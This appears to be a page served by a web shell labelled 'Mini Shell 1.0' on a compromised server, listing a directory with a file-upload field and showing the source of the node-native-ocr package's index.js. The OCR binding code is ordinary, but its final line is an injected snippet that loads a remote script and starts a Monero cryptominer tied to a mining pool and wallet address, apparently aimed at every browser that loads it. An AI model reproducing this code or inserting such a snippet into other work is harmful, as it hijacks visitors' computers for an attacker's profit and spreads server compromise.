HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/node-app/node_modules/node-native-ocr/src/
Upload File :
Current File : /var/www/node-app/node_modules/node-native-ocr/src/index.js
const path = require('path')
let bindings

const isElectron = process.versions.hasOwnProperty('electron')
const ocrPackagePath = 'node_modules/node-native-ocr'

if (isElectron) {
  const electron = require("electron")
  const appPath = (electron.app || electron.remote.app).getAppPath()
  const modulePath = path.resolve(appPath, ocrPackagePath, 'build/Release/node-native-ocr')
  bindings = __non_webpack_require__(modulePath)
} else {
  bindings = require('../build/Release/node-native-ocr.node')
}


const DEFAULT_LANG = 'eng'
const LANG_DELIMITER = '+'

const handleOptions = (options = {}) => {

  if(!options.lang){
    options.lang = DEFAULT_LANG
  }
  if(!options.tessdataPath){
    if (isElectron) {
      console.log('Electron mode.')
      const electron = require("electron")
      const appPath = (electron.app || electron.remote.app).getAppPath()
      options.tessdataPath = path.resolve(appPath, ocrPackagePath, 'tessdata')
    } else{
      console.log('Node mode.')
      options.tessdataPath = path.resolve(__dirname, "..", "tessdata")
    }
  }
  if(!options.format){
    options.format = 'txt'
  }

  if (Array.isArray(options.lang)) {
    options.lang = options.lang.join(LANG_DELIMITER)
  }

  return options
}

const makePromise = (method) => {

  return (arg, options) => new Promise((resolve, reject) => {
    options = handleOptions(options)
    
    bindings[method](arg, options.lang, options.tessdataPath, options.format !== 'txt', (err, text) => {
      if (err) {
        console.log('error:', err)
        const error = new Error(text)
        error.code = err
        return reject(error)
      } else {
        console.log('success:', text)
      }

      resolve(text.trim())
    })
  })
}

exports.recognize = makePromise('recognize')
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}